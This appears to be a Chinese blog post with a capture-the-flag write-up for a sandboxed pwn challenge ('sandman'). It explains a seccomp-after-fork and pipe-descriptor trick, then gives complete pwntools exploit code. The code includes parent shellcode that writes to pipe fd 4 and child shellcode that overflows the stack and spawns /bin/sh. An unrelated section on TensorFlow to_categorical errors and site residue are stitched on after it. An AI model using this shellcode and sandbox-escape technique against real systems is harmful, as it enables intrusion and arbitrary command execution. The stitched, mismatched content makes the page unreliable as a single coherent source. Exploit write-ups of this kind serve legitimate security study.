sandman_nc_2016

非常好的题目

设计到的知识点

seccomp

他再fork之后执行的seccomp,所以可以看到子进程是没有沙箱保护的
在这里插入图片描述
他这里只允许了read 0号系统调用,write 1号系统调用,还有剩下两个是跟error和exit处理有关
在这里插入图片描述
大概的漏洞大家可以看明白,父进程可以执行任意代码,但有沙箱
子进程栈溢出,没沙箱,但是输入是从3pipe创建的描述符输入的,但我们正常是无法使用3描述符的,所以必须要shellcode里面写这部分

pipe

pipe这个函数会返回两个文件描述符,pipedes[0]负责read,pipedes[1]负责write,这里就是3负责read,4负责write,如果我们想要利用shellcode往子进程写内容,最开始我也是想直接read(0,buf,len),write(3,buf,len),但是会失败,我们换成read(0,buf,len),write(4,buf,len)就成功了
在这里插入图片描述

payload

父进程shellcode执行部分

buf=0x602200
ret_addr=buf+0x234
shellcode=f"""
mov rdi,0;
mov rdx,{len(payload)};#payload主要是子进程的shellcode
mov rsi,{buf}
mov rax,0;
syscall;#read(0,buf,len)
mov rdi,{ret_addr}
mov rax,rsp;
sub rax,0x200;
mov qword ptr [rdi],rax#这里就是把最后溢出的ret地址改成栈地址,这里-0x200就是可以根据父进程和子进程大概偏移估算,反正我们也是栈喷
mov rdi,4;
mov rax,1;
syscall;#write(4,buf,len)
start:
nop
jmp start#写个循环防止退出
"""
shellcode=asm(shellcode)
s(p8(len(shellcode)))
sleep(0.5)
s(shellcode)
sleep(0.5)
s(payload)#这里就是子进程的payload
it()

子进程payload

def convert_str_asmencode(content: str):
    out = ""
    for i in content:
        out = hex(ord(i))[2:] + out
    out = "0x" + out
    return out
sh=f"""
mov rax,{convert_str_asmencode("//bin/sh")}#防止有]x00
mov rdx,rsp;
sub dx,0x1008#这个随便往地址写入/bin/sh
mov qword ptr [rdx],rax
add dl,0x8
xor rsi,rsi
mov qword ptr [rdx],rsi;#加上\x00
sub dl,0x8
mov rdi,rdx;
xor rdx,rdx
xor rax,rax
mov al,0x3b
syscall
"""
sh=asm(sh)

payload_final=b"http://"+b"\x90"*(0x228-len(sh))+sh+p64(ret_addr)#这个ret_addr无所谓,反正也要被我们覆盖掉
payload=b"\x0e"+p32(len(payload_final))+payload_final

allpayload

def convert_str_asmencode(content: str):
    out = ""
    for i in content:
        out = hex(ord(i))[2:] + out
    out = "0x" + out
    return out

buf=0x602200
ret_addr=buf+0x234
sh=f"""
mov rax,{convert_str_asmencode("//bin/sh")}
mov rdx,rsp;
sub dx,0x1008
mov qword ptr [rdx],rax
add dl,0x8
xor rsi,rsi
mov qword ptr [rdx],rsi;
sub dl,0x8
mov rdi,rdx;
xor rdx,rdx
xor rax,rax
mov al,0x3b
syscall
"""
sh=asm(sh)

payload_final=b"http://"+b"\x90"*(0x228-len(sh))+sh+p64(ret_addr)
payload=b"\x0e"+p32(len(payload_final))+payload_final
shellcode=f"""
mov rdi,0;
mov rdx,{len(payload)};
mov rsi,{buf}
mov rax,0;
syscall;
mov rdi,{ret_addr}
mov rax,rsp;
sub rax,0x200;
mov qword ptr [rdi],rax
mov rdi,4;
mov rax,1;
syscall;
start:
nop
jmp start
"""
shellcode=asm(shellcode)
s(p8(len(shellcode)))
sleep(0.5)
s(shellcode)
sleep(0.5)
s(payload)
it()

在这里插入图片描述

### TensorFlow 中 `to_categorical` 方法的错误解决方案 在处理 TensorFlow 的 `to_categorical` 报错问题时,通常需要考虑以下几个方面: #### 1. **确认安装版本** 确保已正确安装 TensorFlow 并验证其版本兼容性。如果是在 Windows 上运行环境,则需遵循官方指南完成原生安装[^3]。 #### 2. **导入路径检查** `to_categorical` 函数并非直接属于 TensorFlow 核心模块,而是位于 Keras 工具包下。因此,在调用前应通过如下方式引入: ```python from tensorflow.keras.utils import to_categorical ``` 若未正确指定上述路径可能导致无法识别该方法的情况发生[^1]。 #### 3. **输入数据格式校验** 此函数要求传入的数据类型为整数形式表示类别标签数组。任何非预期类型的参数都会引发异常行为。例如下面演示了一个标准转换过程: ```python import numpy as np y_labels = [0, 1, 2] one_hot_encoded_y = to_categorical(y_labels) print(one_hot_encoded_y) ``` 这里假设原始目标变量存储于列表 `y_labels` 当中;经过编码之后得到独热向量矩阵存放在新变量里以便后续模型训练阶段利用[^2]。 #### 4. **常见错误分析及其修正措施** - 如果遇到类似于“module 'tensorflow' has no attribute 'keras'”的信息提示,这可能是因为所使用的TF版本较旧(比如v1.x系列),而Keras集成到框架内部是从V2开始才有的特性。此时要么升级至最新稳定版,或者单独加载外部库作为替代方案。 - 对于诸如“could not convert string to float”,则表明送进去待处理的目标列存在字符型杂质而非纯粹数值记录。可以先借助 Pandas 数据帧操作清理干净后再执行下一步骤: ```python df['target'] = pd.to_numeric(df['target'], errors='coerce') ``` 以上就是针对 Tensorflow 内部工具类抛出异常现象的一些排查思路总结。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值